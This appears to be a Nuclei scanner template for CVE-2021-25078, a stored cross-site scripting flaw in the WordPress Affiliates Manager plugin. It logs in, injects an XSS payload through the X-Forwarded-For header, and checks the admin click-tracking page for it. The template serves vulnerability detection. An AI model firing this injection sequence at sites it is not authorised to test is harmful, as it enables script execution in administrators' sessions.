57 lines
2.3 KiB
YAML
57 lines
2.3 KiB
YAML
id: CVE-2021-25078
|
|
|
|
info:
|
|
name: Affiliates Manager < 2.9.0 - Cross Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of an authenticated user, potentially leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: Fixed in version 2.9.0
|
|
reference:
|
|
- https://wpscan.com/vulnerability/d4edb5f2-aa1b-4e2d-abb4-76c46def6c6e
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25078
|
|
- https://plugins.trac.wordpress.org/changeset/2648196
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-25078
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00382
|
|
epss-percentile: 0.70275
|
|
cpe: cpe:2.3:a:wpaffiliatemanager:affiliates_manager:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: wpaffiliatemanager
|
|
product: affiliates_manager
|
|
framework: wordpress
|
|
tags: cve2021,cve,wp,wordpress,authenticated,affiliates-manager,wp-plugin,xss,wpscan,wpaffiliatemanager
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /?wpam_id=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Forwarded-For: <img src onerror=alert(document.domain)>
|
|
- |
|
|
GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_2 == 200 && status_code_3 == 200'
|
|
- 'contains(header_3, "text/html")'
|
|
- 'contains(body_3, "<img src onerror=alert(document.domain)>")'
|
|
- 'contains(body_3, "Affiliates Manager Click Tracking")'
|
|
condition: and
|
|
# digest: 4a0a00473045022009bc465eee3ca093aaf480641fdbfdf73ada6463fa2dd6bb830c4c8dc57a292d022100a48bff1109224aed7506adfa3778faf2842e6f3222349b4c6c203085e4aaeb8e:922c64590222798bb761d5b6d8e72950 |